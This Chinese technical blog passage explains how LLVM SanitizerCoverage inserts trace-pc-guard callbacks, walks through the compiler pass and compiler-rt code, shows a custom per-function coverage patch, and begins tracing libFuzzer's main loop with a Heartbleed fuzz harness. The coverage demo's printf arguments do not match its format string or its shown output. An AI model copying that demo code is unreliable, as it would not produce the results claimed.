#include <stdlib.h>
int function1(int a) {
if (1 == a)
return 0;
return 1;
}
int function2() {
return -1;
}
int main() {
if (rand() % 2)
function1(rand() % 3);
else
function2();
return 0;
}
```
要想Clang引入Sanitizer-Coverage,需要提供编译参数`-fsanitize-coverage=trace-pc-guard`,编译命令如下:
```makefile
all:
clang -fsanitize-coverage=trace-pc-guard ./test_case.c -g -o ./test_case
```
把编译后的可执行程序`./test_case`拿到IDA逆向,可以发现LLVM Sanitizer-Coverage的插桩原理:
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
__int64 v4; // rdx
int v5; // eax
_sanitizer_cov_trace_pc_guard(&unk_439BC0, argv, envp);
v3 = rand();
v4 = (unsigned int)(v3 >> 31);
LODWORD(v4) = v3 % 2;
if ( v3 % 2 )
{
_sanitizer_cov_trace_pc_guard((char *)&unk_439BC0 + 4, argv, v4);
v5 = rand();
function1(v5 % 3);
}
else
{
_sanitizer_cov_trace_pc_guard((char *)&unk_439BC0 + 8, argv, v4);
function2();
}
return 0;
}
```
其中**_sanitizer_cov_trace_pc_guard()**就是插桩回调函数,如果没有重写该函数,那就LLVM就会使用默认版本,官方文档有一处示例代码,使用自定义该回调函数打印插桩分支信息.
```c
// 多余注释已经删除,感兴趣可自行到官网查看
extern "C" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
if (!*guard) return;
void *PC = __builtin_return_address(0);
char PcDescr[1024];
__sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
printf("guard: %p %x PC %s\n", guard, *guard, PcDescr);
}
```
把函数代码放到test_case.c中并添加相关头文件后,编译后执行效果如下:
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ ./test_case
guard: 0x439bc0 5 PC 0x423c06 in main /home/ubuntu/Desktop/instrument_note/./test_case.c:17
guard: 0x439bc4 6 PC 0x423c3b in main /home/ubuntu/Desktop/instrument_note/./test_case.c:19:19
guard: 0x439bb0 1 PC 0x423b6c in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:6
guard: 0x439bb4 2 PC 0x423b98 in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:8:9
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$
```
#### 一个简单的代码覆盖率Demo
统计程序的代码覆盖率需要两个要素:`当前程序所有分支总数/执行过的程序路径总数`.对于当前程序所有分支总数的获取,我们可以直接通过`__sanitizer_cov_trace_pc_guard()`统计得到,那么当前程序所有分支总数怎么获取呢?我们发现LLVM还提供了Sanitizer-Coverage初始化函数`__sanitizer_cov_trace_pc_guard_init()`,来看看它的声明.
```c
void __sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop);
```
其中,start和stop参数分别指的是插桩数据开始到结束的指针,那么只需要计算`stop-start`即可获取当前程序所有分支总数.
```c
uint32_t __sancov_current_all_guard_count = 0;
void __sanitizer_cov_trace_pc_guard_init(uint32_t *start,uint32_t *stop) {
__sancov_current_all_guard_count = (stop - start);
printf("Sanitizer All Coverage edges: 0x%X \n",__sancov_current_all_guard_count);
}
```
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ make && ./test_case
clang -fsanitize-coverage=trace-pc-guard ./test_case.c -g -o ./test_case
./test_case.c:31:3: warning: implicit declaration of function '__sanitizer_symbolize_pc' is invalid in C99 [-Wimplicit-function-declaration]
__sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
^
1 warning generated.
Sanitizer All Coverage edges: 0x7
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$
```
稍微对代码进行修改,就可以完成一个简单的代码覆盖率统计Demo
```c
uint32_t __sancov_current_all_guard_count = 0;
uint32_t __sancov_current_execute_guard_count = 0;
void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
if (!*guard) return;
void *PC = __builtin_return_address(0);
char PcDescr[1024];
__sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
printf("guard: %p %x PC %s\n", guard, *guard, PcDescr);
++__sancov_current_execute_guard_count;
}
void __sanitizer_cov_trace_pc_guard_init(uint32_t *start,uint32_t *stop) {
int index = 0;
for (uint32_t *p = start;p < stop;++p) // 为什么这里要需要for循环初始化呢,下一章会提到
*p = ++index;
__sancov_current_all_guard_count = (stop - start);
printf("Sanitizer All Coverage edges: 0x%X \n",__sancov_current_all_guard_count);
}
int main() {
if (rand() % 2)
function1(rand() % 3);
else
function2();
printf("Coverage Rate:%.2f% (%d/%d)\n",
__sancov_current_execute_guard_count,
__sancov_current_all_guard_count,
((float)__sancov_current_execute_guard_count/(float)__sancov_current_all_guard_count) * 100);
return 0;
}
```
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ make && ./test_case
clang -fsanitize-coverage=trace-pc-guard ./test_case.c -g -o ./test_case
Sanitizer All Coverage edges: 0x7
guard: 0x439bc0 5 PC 0x423ca6 in main /home/ubuntu/Desktop/instrument_note/./test_case.c:41
guard: 0x439bc4 6 PC 0x423cdb in main /home/ubuntu/Desktop/instrument_note/./test_case.c:43:19
guard: 0x439bb0 1 PC 0x423c0c in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:30
guard: 0x439bb4 2 PC 0x423c38 in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:32:9
Coverage Rate:57.14% (4/7)
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$
```
#### 深入探索Sanitizer-Coverage实现
前一章节中留下了一个疑问,如果有自行使用这段代码编译运行就会发现,为什么用户自定义函数`__sanitizer_cov_trace_pc_guard_init()`之后,`__sanitizer_cov_trace_pc_guard()`就没有任何程序执行输出了?为什么`__sanitizer_cov_trace_pc_guard_init()`对start和stop初始化之后就可以成功运行了?为了深入理解这个问题,我们需要逆向Sanitizer-Coverage编译后的二进制程序.
我们阅读默认版本的`__sanitizer_cov_trace_pc_guard_init()`代码:
```c
// 默认版本()
unsigned __int64 __usercall _sanitizer_cov_trace_pc_guard_init@<rax>(unsigned __int64 result@<rax>, unsigned __int64 a2@<rdi>, __sancov *a3@<rsi>, __m128i a4@<xmm1>, __m128i a5@<xmm8>)
{
// 省略很多代码
v5 = (_DWORD *)a2; // start
if ( *(_DWORD *)a2 )
return result;
v6 = (unsigned __int64)a3; // stop
// 省略很多代码
do
{
*v5 = ++v8;
++v5;
}
while ( (unsigned __int64)v5 < v6 );
// 省略很多代码
return result;
}
```
初始化函数会对start和stop这块内存区域进行计数写入,再来看看这块内存的分布.
```assembly
__sancov_guards:0000000000439BB0 ; ===========================================================================
__sancov_guards:0000000000439BB0
__sancov_guards:0000000000439BB0 ; Segment type: Pure data
__sancov_guards:0000000000439BB0 ; Segment permissions: Read/Write
__sancov_guards:0000000000439BB0 __sancov_guards segment dword public 'DATA' use64
__sancov_guards:0000000000439BB0 assume cs:__sancov_guards
__sancov_guards:0000000000439BB0 ;org 439BB0h
__sancov_guards:0000000000439BB0 public __start___sancov_guards
__sancov_guards:0000000000439BB0 ; uint32_t _start___sancov_guards[3]
__sancov_guards:0000000000439BB0 __start___sancov_guards dd 0 ; start参数起始地址
__sancov_guards:0000000000439BB4 db 0
__sancov_guards:0000000000439BB5 db 0
__sancov_guards:0000000000439BB6 db 0
__sancov_guards:0000000000439BB7 db 0
__sancov_guards:0000000000439BB8 db 0
__sancov_guards:0000000000439BB9 db 0
__sancov_guards:0000000000439BBA db 0
__sancov_guards:0000000000439BBB db 0
__sancov_guards:0000000000439BBC ; uint32_t guard
__sancov_guards:0000000000439BBC guard dd 0
__sancov_guards:0000000000439BC0 ; uint32_t dword_439BC0[3]
__sancov_guards:0000000000439BC0 dword_439BC0 dd 0
__sancov_guards:0000000000439BC0
__sancov_guards:0000000000439BC4 db 0
__sancov_guards:0000000000439BC5 db 0
__sancov_guards:0000000000439BC6 db 0
__sancov_guards:0000000000439BC7 db 0
__sancov_guards:0000000000439BC8 db 0
__sancov_guards:0000000000439BC9 db 0
__sancov_guards:0000000000439BCA db 0
__sancov_guards:0000000000439BCB db 0
__sancov_guards:0000000000439BCB __sancov_guards ends
__sancov_guards:0000000000439BCB
LOAD:0000000000439BCC ; stop结束地址
```
这样来看这块内存数据不太容易理解,我们再读一下funtion1()的反汇编代码.
```c
int __cdecl function1(int a)
{
int v2; // [rsp+Ch] [rbp-4h]
_sanitizer_cov_trace_pc_guard(_start___sancov_guards); // 从start[0]读取数据调用trace_pc_guard()
if ( a == 1 )
{
_sanitizer_cov_trace_pc_guard(&_start___sancov_guards[1]); // 从start[1]读取数据调用trace_pc_guard()
v2 = 0;
}
else
{
_sanitizer_cov_trace_pc_guard(&_start___sancov_guards[2]); // 从start[2]读取数据调用trace_pc_guard()
v2 = 1;
}
return v2;
}
// 执行function1()后的输出如下:
// guard: 0x439bb0 1 PC 0x423c1c in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:31
// guard: 0x439bb4 2 PC 0x423c48 in function1 /home/ubuntu/Desktop/instrument_note/./test_case.c:33:9
```
对`function1()`的逆向和运行可以发现,start[0]-start[2]的内存数据是用于保存当前执行的分支ID数据.综上所述,Sanitizer-Coverage会创造一块专用的区段用于保存插桩分支ID信息,但是这块内存默认是空数据,所以才需要`__sanitizer_cov_trace_pc_guard_init`遍历生成ID写入这块内存,后续`__sanitizer_cov_trace_pc_guard()`就可以成功从这里读取到分支ID数据.理解这个细节之后,再回来阅读上面的自定义`__sanitizer_cov_trace_pc_guard_init()`容易明白意义何在了.
```c
// 用户自定义版本
void __cdecl _sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop)
{
uint32_t *p; // [rsp+0h] [rbp-20h]
int index; // [rsp+Ch] [rbp-14h]
index = 0;
for ( p = start; p <= stop; ++p ) // 初始化分支ID表
*p = ++index;
_sancov_current_all_guard_count = stop - start; // 计算所有程序分支总数
printf("Sanitizer All Coverage edges: 0x%X \n", (unsigned int)(stop - start), p);
}
```
#### LLVM Pass for SanitizerCoverage.cpp实现细节
了解Sanitizer-Coverage的运行原理后,现在从Clang编译的角度去探索它是怎么做实现的.SanitizerCoverage的实现代码在LLVM的`\llvm-project\llvm\lib\Transforms\Instrumentation\SanitizerCoverage.cpp`目录.在阅读插桩代码之前简短提示下LLVM的Pass(优化模块)运行过程,插桩时一般用到ModulePass和FunctionPass,如果对整个代码文件进行处理时,那就用到ModulePass对象;如果对所有函数都处理,那就用到FunctionPass.PassManager控制所有Pass的执行过程.
```c++
class ModuleSanitizerCoverageLegacyPass : public ModulePass {
public:
bool runOnModule(Module &M) override {
ModuleSanitizerCoverage ModuleSancov(Options, Allowlist.get(),
Blocklist.get());
// Allowlist/Blocklist由参数-fsanitize-coverage-allowlist/-fsanitize-coverage-blocklist指定函数列表,有些场景下会用到
auto DTCallback = [this](Function &F) -> const DominatorTree * {
return &this->getAnalysis<DominatorTreeWrapperPass>(F).getDomTree();
};
auto PDTCallback = [this](Function &F) -> const PostDominatorTree * {
return &this->getAnalysis<PostDominatorTreeWrapperPass>(F)
.getPostDomTree();
};
return ModuleSancov.instrumentModule(M, DTCallback, PDTCallback);
}
}
```
ModulePass执行时的入口点在`runOnModule()`中,这里主要是把相关的参数传递给`instrumentModule()`.
```c++
bool ModuleSanitizerCoverage::instrumentModule(
Module &M, DomTreeCallback DTCallback, PostDomTreeCallback PDTCallback) {
if (Options.CoverageType == SanitizerCoverageOptions::SCK_None)
return false;
if (Allowlist &&
!Allowlist->inSection("coverage", "src", M.getSourceFileName()))
return false;
if (Blocklist &&
Blocklist->inSection("coverage", "src", M.getSourceFileName()))
return false;
C = &(M.getContext());
DL = &M.getDataLayout();
CurModule = &M;
CurModuleUniqueId = getUniqueModuleId(CurModule);
TargetTriple = Triple(M.getTargetTriple());
FunctionGuardArray = nullptr;
Function8bitCounterArray = nullptr;
FunctionBoolArray = nullptr;
FunctionPCsArray = nullptr;
IntptrTy = Type::getIntNTy(*C, DL->getPointerSizeInBits());
IntptrPtrTy = PointerType::getUnqual(IntptrTy);
Type *VoidTy = Type::getVoidTy(*C);
IRBuilder<> IRB(*C);
Int64PtrTy = PointerType::getUnqual(IRB.getInt64Ty());
Int32PtrTy = PointerType::getUnqual(IRB.getInt32Ty());
Int8PtrTy = PointerType::getUnqual(IRB.getInt8Ty());
Int1PtrTy = PointerType::getUnqual(IRB.getInt1Ty());
Int64Ty = IRB.getInt64Ty();
Int32Ty = IRB.getInt32Ty();
Int16Ty = IRB.getInt16Ty();
Int8Ty = IRB.getInt8Ty();
Int1Ty = IRB.getInt1Ty();
SanCovTracePCIndir =
M.getOrInsertFunction(SanCovTracePCIndirName, VoidTy, IntptrTy);
// Make sure smaller parameters are zero-extended to i64 as required by the
// x86_64 ABI.
AttributeList SanCovTraceCmpZeroExtAL;
if (TargetTriple.getArch() == Triple::x86_64) {
SanCovTraceCmpZeroExtAL =
SanCovTraceCmpZeroExtAL.addParamAttribute(*C, 0, Attribute::ZExt);
SanCovTraceCmpZeroExtAL =
SanCovTraceCmpZeroExtAL.addParamAttribute(*C, 1, Attribute::ZExt);
}
SanCovTraceCmpFunction[0] =
M.getOrInsertFunction(SanCovTraceCmp1, SanCovTraceCmpZeroExtAL, VoidTy,
IRB.getInt8Ty(), IRB.getInt8Ty());
SanCovTraceCmpFunction[1] =
M.getOrInsertFunction(SanCovTraceCmp2, SanCovTraceCmpZeroExtAL, VoidTy,
IRB.getInt16Ty(), IRB.getInt16Ty());
SanCovTraceCmpFunction[2] =
M.getOrInsertFunction(SanCovTraceCmp4, SanCovTraceCmpZeroExtAL, VoidTy,
IRB.getInt32Ty(), IRB.getInt32Ty());
SanCovTraceCmpFunction[3] =
M.getOrInsertFunction(SanCovTraceCmp8, VoidTy, Int64Ty, Int64Ty);
SanCovTraceConstCmpFunction[0] = M.getOrInsertFunction(
SanCovTraceConstCmp1, SanCovTraceCmpZeroExtAL, VoidTy, Int8Ty, Int8Ty);
SanCovTraceConstCmpFunction[1] = M.getOrInsertFunction(
SanCovTraceConstCmp2, SanCovTraceCmpZeroExtAL, VoidTy, Int16Ty, Int16Ty);
SanCovTraceConstCmpFunction[2] = M.getOrInsertFunction(
SanCovTraceConstCmp4, SanCovTraceCmpZeroExtAL, VoidTy, Int32Ty, Int32Ty);
SanCovTraceConstCmpFunction[3] =
M.getOrInsertFunction(SanCovTraceConstCmp8, VoidTy, Int64Ty, Int64Ty);
{
AttributeList AL;
if (TargetTriple.getArch() == Triple::x86_64)
AL = AL.addParamAttribute(*C, 0, Attribute::ZExt);
SanCovTraceDivFunction[0] =
M.getOrInsertFunction(SanCovTraceDiv4, AL, VoidTy, IRB.getInt32Ty());
}
SanCovTraceDivFunction[1] =
M.getOrInsertFunction(SanCovTraceDiv8, VoidTy, Int64Ty);
SanCovTraceGepFunction =
M.getOrInsertFunction(SanCovTraceGep, VoidTy, IntptrTy);
SanCovTraceSwitchFunction =
M.getOrInsertFunction(SanCovTraceSwitchName, VoidTy, Int64Ty, Int64PtrTy);
Constant *SanCovLowestStackConstant =
M.getOrInsertGlobal(SanCovLowestStackName, IntptrTy);
SanCovLowestStack = dyn_cast<GlobalVariable>(SanCovLowestStackConstant);
if (!SanCovLowestStack) {
C->emitError(StringRef("'") + SanCovLowestStackName +
"' should not be declared by the user");
return true;
}
SanCovLowestStack->setThreadLocalMode(
GlobalValue::ThreadLocalMode::InitialExecTLSModel);
if (Options.StackDepth && !SanCovLowestStack->isDeclaration())
SanCovLowestStack->setInitializer(Constant::getAllOnesValue(IntptrTy));
SanCovTracePC = M.getOrInsertFunction(SanCovTracePCName, VoidTy);
SanCovTracePCGuard =
M.getOrInsertFunction(SanCovTracePCGuardName, VoidTy, Int32PtrTy);
/*
static const char *const SanCovTracePCName = "__sanitizer_cov_trace_pc";
static const char *const SanCovTraceCmp1 = "__sanitizer_cov_trace_cmp1";
static const char *const SanCovTraceCmp2 = "__sanitizer_cov_trace_cmp2";
static const char *const SanCovTraceCmp4 = "__sanitizer_cov_trace_cmp4";
static const char *const SanCovTraceCmp8 = "__sanitizer_cov_trace_cmp8";
*/
```
上面的逻辑代码逻辑主要就是从LLVMContext中获取常见变量类型和根据函数名获取SanitizerCoverage的内部函数以初始化,然后就遍历Module中的所有Function,开始插桩.
```c++
for (auto &F : M)
instrumentFunction(F, DTCallback, PDTCallback);
```
```c++
void ModuleSanitizerCoverage::instrumentFunction(
Function &F, DomTreeCallback DTCallback, PostDomTreeCallback PDTCallback) {
if (F.empty())
return;
if (F.getName().find(".module_ctor") != std::string::npos)
return; // Should not instrument sanitizer init functions.
if (F.getName().startswith("__sanitizer_"))
return; // Don't instrument __sanitizer_* callbacks.
// 省略很多不插桩的逻辑
SmallVector<Instruction *, 8> IndirCalls;
SmallVector<BasicBlock *, 16> BlocksToInstrument;
SmallVector<Instruction *, 8> CmpTraceTargets;
SmallVector<Instruction *, 8> SwitchTraceTargets;
SmallVector<BinaryOperator *, 8> DivTraceTargets;
SmallVector<GetElementPtrInst *, 8> GepTraceTargets;
// 这些变量分别用于不同参数的插桩方法
// -fsanitize-coverage=trace-pc-guard,indirect-calls,trace-cmp,trace-div,trace-gep
for (auto &BB : F) { // 遍历当前函数所有BasicBlock代码块
if (shouldInstrumentBlock(F, &BB, DT, PDT, Options))
BlocksToInstrument.push_back(&BB); // 记录所有可以进行插桩的BasicBlock
for (auto &Inst : BB) { // 遍历BasicBlock中所有指令
if (Options.IndirectCalls) { // 如果启用参数-fsanitize-coverage=indirect-calls
CallBase *CB = dyn_cast<CallBase>(&Inst);
if (CB && !CB->getCalledFunction()) // 如果是Call指令,dyn_case会返回非NULL指针
IndirCalls.push_back(&Inst); // 记录所有Call指令
}
if (Options.TraceCmp) {
if (ICmpInst *CMP = dyn_cast<ICmpInst>(&Inst))
if (IsInterestingCmp(CMP, DT, Options))
CmpTraceTargets.push_back(&Inst);
if (isa<SwitchInst>(&Inst))
SwitchTraceTargets.push_back(&Inst);
}
if (Options.TraceDiv)
if (BinaryOperator *BO = dyn_cast<BinaryOperator>(&Inst))
if (BO->getOpcode() == Instruction::SDiv ||
BO->getOpcode() == Instruction::UDiv)
DivTraceTargets.push_back(BO);
if (Options.TraceGep)
if (GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(&Inst))
GepTraceTargets.push_back(GEP);
if (Options.StackDepth)
if (isa<InvokeInst>(Inst) ||
(isa<CallInst>(Inst) && !isa<IntrinsicInst>(Inst)))
IsLeafFunc = false;
}
}
// 经过多次遍历之后获取到很多BasicBlock和Inst,然后分别使用不同方法进行插桩
InjectCoverage(F, BlocksToInstrument, IsLeafFunc);
InjectCoverageForIndirectCalls(F, IndirCalls);
InjectTraceForCmp(F, CmpTraceTargets);
InjectTraceForSwitch(F, SwitchTraceTargets);
InjectTraceForDiv(F, DivTraceTargets);
InjectTraceForGep(F, GepTraceTargets);
}
```
由于文章篇幅关系,在此就只介绍`InjectCoverage()`的插桩逻辑,简单地说,接下来`InjectCoverage()`会直接根据前面的筛选出来的BlocksToInstrument的入口处插入对`__sanitizer_cov_trace_pc_guard()`函数调用.
```c++
bool ModuleSanitizerCoverage::InjectCoverage(Function &F, ArrayRef<BasicBlock *> AllBlocks,bool IsLeafFunc) {
if (AllBlocks.empty()) return false;
CreateFunctionLocalArrays(F, AllBlocks); // 这里就是创建SantizerCoverage的分支ID记录内存区域
for (size_t i = 0, N = AllBlocks.size(); i < N; i++)
InjectCoverageAtBlock(F, *AllBlocks[i], i, IsLeafFunc); // 遍历所有BasicBlock
return true;
}
void ModuleSanitizerCoverage::CreateFunctionLocalArrays(
Function &F, ArrayRef<BasicBlock *> AllBlocks) {
if (Options.TracePCGuard)
FunctionGuardArray = CreateFunctionLocalArrayInSection(
AllBlocks.size(), F, Int32Ty, SanCovGuardsSectionName); // 记住这个变量,这里的意思是根据当前获取到的所有BasicBlock的数量去创建一个整数数组,用于收集TracePCGuard插桩方法的分支ID记录内存区域
// 省略其它代码
}
void ModuleSanitizerCoverage::InjectCoverageAtBlock(Function &F, BasicBlock &BB,size_t Idx,bool IsLeafFunc) {
BasicBlock::iterator IP = BB.getFirstInsertionPt();
bool IsEntryBB = &BB == &F.getEntryBlock();
DebugLoc EntryLoc;
if (IsEntryBB) {
if (auto SP = F.getSubprogram())
EntryLoc = DebugLoc::get(SP->getScopeLine(), 0, SP);
// Keep static allocas and llvm.localescape calls in the entry block. Even
// if we aren't splitting the block, it's nice for allocas to be before
// calls.
IP = PrepareToSplitEntryBlock(BB, IP);
} else {
EntryLoc = IP->getDebugLoc();
}
IRBuilder<> IRB(&*IP); // 前面一通操作是为了获取BasicBlock的第一条指令
// 省略其它代码
if (Options.TracePCGuard) {
auto GuardPtr = IRB.CreateIntToPtr(
IRB.CreateAdd(IRB.CreatePointerCast(FunctionGuardArray, IntptrTy),
ConstantInt::get(IntptrTy, Idx * 4)),
Int32PtrTy); // 创建整数指针引用,等价于FunctionGuardArray[Idx]
IRB.CreateCall(SanCovTracePCGuard, GuardPtr)->setCannotMerge(); // 使用前面创建的引用来创建函数调用,等价于__sanitizer_cov_trace_pc_guard(FunctionGuardArray[Idx]);
}
// 省略其它代码
}
```
完成所有插桩之后,最后一步就是程序启动时插入对`__sanitizer_cov_trace_pc_guard_init()`函数的调用.
```c++
Function *Ctor = nullptr;
if (FunctionGuardArray)
Ctor = CreateInitCallsForSections(M, SanCovModuleCtorTracePcGuardName,
SanCovTracePCGuardInitName, Int32PtrTy,
SanCovGuardsSectionName);
```
细心的读者可能会想起还有个细节没有提到,那就是LLVM默认的`__sanitizer_cov_trace_pc_guard_init()`函数再哪个地方声明引入的呢?其实这些LLVM内置的函数都在`Compiler-RT`中实现(后面ASAN会用到),代码目录在`\llvm-project\compiler-rt\lib\sanitizer_common`.
```c++
// sanitizer_coverage_fuchsia.cpp
SANITIZER_INTERFACE_WEAK_DEF(void, __sanitizer_cov_trace_pc_guard_init,
u32 *start, u32 *end) { // LLVM默认__sanitizer_cov_trace_pc_guard_init()函数实现代码
if (start == end || *start)
return;
__sancov::pc_guard_controller.InitTracePcGuard(start, end);
}
void InitTracePcGuard(u32 *start, u32 *end) { // 初始化分支ID内存区域
if (end > start && *start == 0 && common_flags()->coverage) {
// Complete the setup before filling in any guards with indices.
// This avoids the possibility of code called from Setup reentering
// TracePcGuard.
u32 idx = Setup(end - start);
for (u32 *p = start; p < end; ++p) {
*p = idx++;
}
}
}
```
#### 定制SanitizerCoverage
笔者在实现Fuzzer的时候,遇到了个真实的场景.在使用二次开发或者针对某个模块做单元测试时,往往这个模块的代码只占程序全部代码的很小的部分.举个例子,如果模块代码只占全部代码的5%,但是Fuzzer的测试用例可以覆盖这个模块的80%代码,那么最后统计代码覆盖率是使用5%还是80%呢?笔者认为应该是80%的代码覆盖率才是最接近真实的,所以我的思路是:根据执行过的每个函数的总分支数除以每个函数执行过的分支数即可,示例图如下:

最终的结果是
```
(6 + 2 + 1 + 1) / (10 + 4 + 1 + 2) = 58.82%
```
现在遇到的难题有两个:
* 每个函数的分支总数怎么获取呢?
* 插桩只能获取到插桩处的PC地址,怎么样知道我们当前执行到了哪个函数地址?
为了实现这个功能,需要对原有的插桩代码做一些简短的修改,改动如下:
```c++
bool ModuleSanitizerCoverage::instrumentModule() {
// ...
SanCovTracePCGuard =
M.getOrInsertFunction(SanCovTracePCGuardName, VoidTy, Int32PtrTy, Int32PtrTy, Int32PtrTy); // 修改__sanitizer_cov_trace_pc_guard()的调用声明,改成__sanitizer_cov_trace_pc_guard(int,int,int)
// ...
}
bool ModuleSanitizerCoverage::InjectCoverage(Function &F,ArrayRef<BasicBlock *> AllBlocks,bool IsLeafFunc) {
if (AllBlocks.empty()) return false;
CreateFunctionLocalArrays(F, AllBlocks);
for (size_t i = 0, N = AllBlocks.size(); i < N; i++)
InjectCoverageAtBlock(F, *AllBlocks[i], i, IsLeafFunc, N); // 遍历出来的BasicBlock总数其实就是当前函数的所有分支
return true;
}
void ModuleSanitizerCoverage::InjectCoverageAtBlock(Function &F, BasicBlock &BB,size_t Idx,bool IsLeafFunc,size_t EdgeCount) { // 新增参数EdgeCount
// ...
if (Options.TracePCGuard) {
std::vector<Value*> SanCovTracePCGuardArgumentList; // 创建参数调用列表
auto GuardPtr = IRB.CreateIntToPtr(
IRB.CreateAdd(IRB.CreatePointerCast(FunctionGuardArray, IntptrTy),
ConstantInt::get(IntptrTy, Idx * 4)),
Int32PtrTy); // 从FunctionGuardArray中获取到的分支ID数据
auto FunctionPtr = IRB.CreateIntToPtr(IRB.CreatePointerCast(static_cast<Value*>(&F), IntptrTy),Int32PtrTy); // 获取当前函数地址,转换为指针传递
Constant* ConstFunctionInsideEdgeCount = ConstantInt::get(IntptrTy, EdgeCount); // 获取当前函数分支总数,作为int值传递
SanCovTracePCGuardArgumentList.push_back(GuardPtr);
SanCovTracePCGuardArgumentList.push_back(ConstFunctionInsideEdgeCount);
SanCovTracePCGuardArgumentList.push_back(FunctionPtr);
IRB.CreateCall(SanCovTracePCGuard, static_cast<ArrayRef<Value *>>(SanCovTracePCGuardArgumentList))->setCannotMerge();
}
// ...
}
```
## libFuzzer原理
用过libFuzzer和AFL的读者们应该知道,这两款Fuzzer工具核心原理是:它们都会使用数据样本来生成测试数据集,然后使用新生成的测试数据调用程序执行并根据程序插桩的逻辑捕获到执行的分支信息,以此判断新的测试数据有没有发现新的执行路径,如果有发现新执行路径则记录测试数据,后续继续使用基于测试数据变异,不断以此循环.
关于libFuzzer最经典的教程在这里(https://github.com/Dor1s/libfuzzer-workshop),本文着重介绍libFuzzer工具本身的原理,不再复述libFuzzer的用法.
关于libFuzzer的实现代码,在LLVM的`\llvm-project\compiler-rt\lib\fuzzer\`目录下.
#### libFuzzer执行Fuzzer过程
本章使用libFuzzer-workshop教程的OpenSSL心脏滴血漏洞来做讲解,相关代码在这里(https://github.com/Dor1s/libfuzzer-workshop/blob/master/lessons/05/openssl_fuzzer.cc),其中核心Fuzzing代码如下:
```c++
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
static SSL_CTX *sctx = Init();
SSL *server = SSL_new(sctx);
BIO *sinbio = BIO_new(BIO_s_mem());
BIO *soutbio = BIO_new(BIO_s_mem());
SSL_set_bio(server, sinbio, soutbio);
SSL_set_accept_state(server);
BIO_write(sinbio, data, size);
SSL_do_handshake(server);
SSL_free(server);
return 0;
}
```
libFuzzer以`LLVMFuzzerTestOneInput()`作为用户自定义的模糊测试入口点,用户只需要关注为libFuzzer生成的数据编写接口调用逻辑,而libFuzzer本身只需要做好数据生成即可.libFuzzer的数据生成主要由三部分构成:
1. 用户指定的初始数据
2. 数据变异
3. 新路径发现
libFuzzer工作过程也可以简单地归纳为:
1. 初始化
2. 生成数据
3. 开始测试
4. 收集代码覆盖率信息
5. 生成数据
6. 开始测试
7. ...以此类推
对以上的执行过程有了印象之后,那么我们就开始对libFuzzer的源码进行探索.FuzzerDriver.cpp文件的FuzzerDriver()函数是libFuzzer的入口点.
```c++
int FuzzerDriver(int *argc, char ***argv, UserCallback Callback) {
// 省略代码
if (EF->LLVMFuzzerInitialize) // 如果用户有自定义LLVMFuzzerInitialize()实现,那么就执行该函数,提供这个函数的作为用户自定义实现接口是因为要对库/程序进行初始化
EF->LLVMFuzzerInitialize(argc, argv);
// 省略程序解析外部参数代码
unsigned Seed = Flags.seed; // 如果外部有传递随机数种子的话.参数为-seed=?
if (Seed == 0)
Seed = std::chrono::system_clock::now().time_since_epoch().count() + GetPid(); // 外部没有指定随机数种子,那就使用时间戳+pid
if (Flags.verbosity) // 调试输出,参数为-verbosity
Printf("INFO: Seed: %u\n", Seed);
Random Rand(Seed); // 随机数生成器
auto *MD = new MutationDispatcher(Rand, Options); // 数据变异生成器
auto *Corpus = new InputCorpus(Options.OutputCorpus); // 数据收集器
auto *F = new Fuzzer(Callback, *Corpus, *MD, Options); // Fuzzer核心逻辑模块
StartRssThread(F, Flags.rss_limit_mb); // 创建内存检测线程,如果当前进程的内存占用超过阈值之后就退出Fuzzer报告异常
Options.HandleAbrt = Flags.handle_abrt;
Options.HandleBus = Flags.handle_bus;
Options.HandleFpe = Flags.handle_fpe;
Options.HandleIll = Flags.handle_ill;
Options.HandleInt = Flags.handle_int;
Options.HandleSegv = Flags.handle_segv;
Options.HandleTerm = Flags.handle_term;
Options.HandleXfsz = Flags.handle_xfsz;
SetSignalHandler(Options); // 初始化信号捕获回调函数
// 省略代码
F->Loop(); // 开始Fuzzing
exit(0);
}
```
通过分析libFuzzer的启动过程我们可知,它整个框架的核心由:
* 数据变异生成器
* 数据收集器
* Fuzzer核心逻辑模块
组成.接下来我们应该梳理清楚这三个模块之间的关系,接着前面的分析,我们继续阅读`Fuzzer::Loop()`的代码.
```c++
void Fuzzer::Loop() {
// 省略代码
while (true) {
// 省略代码
if (TimedOut()) break; // 由参数-max_total_time指定的运行时间控制,超时执行就退出
// Perform several mutations and runs.
MutateAndTestOne(); // 执行一次Fuzzing
}
// 省略代码
}
void Fuzzer::MutateAndTestOne() {
auto &II = Corpus.ChooseUnitToMutate(MD.GetRand()); // 从数据收集器中随机挑一个测试数据出来,要结合下面的核心逻辑代码才能理解它的用意
const auto &U = II.U;
size_t Size = U.size();
memcpy(CurrentUnitData, U.data(), Size); // 获取测试数据
// 省略代码
for (int i = 0; i < Options.MutateDepth; i++) { // 对数据变异多次.由参数-mutate_depth控制,默认值是5
size_t NewSize = 0;
NewSize = MD.Mutate(CurrentUnitData, Size, CurrentMaxMutationLen); // 使用前面随机抽取获取到的测试数据作为变异输入生成测试数据
Size = NewSize;
if (i == 0) // 注意,第一次Fuzzing时,会启用数据追踪功能,简而言之就是hook strstr(),strcasestr(),memmem()函数,然后从参数中获取到一些有意思的字符串
StartTraceRecording();
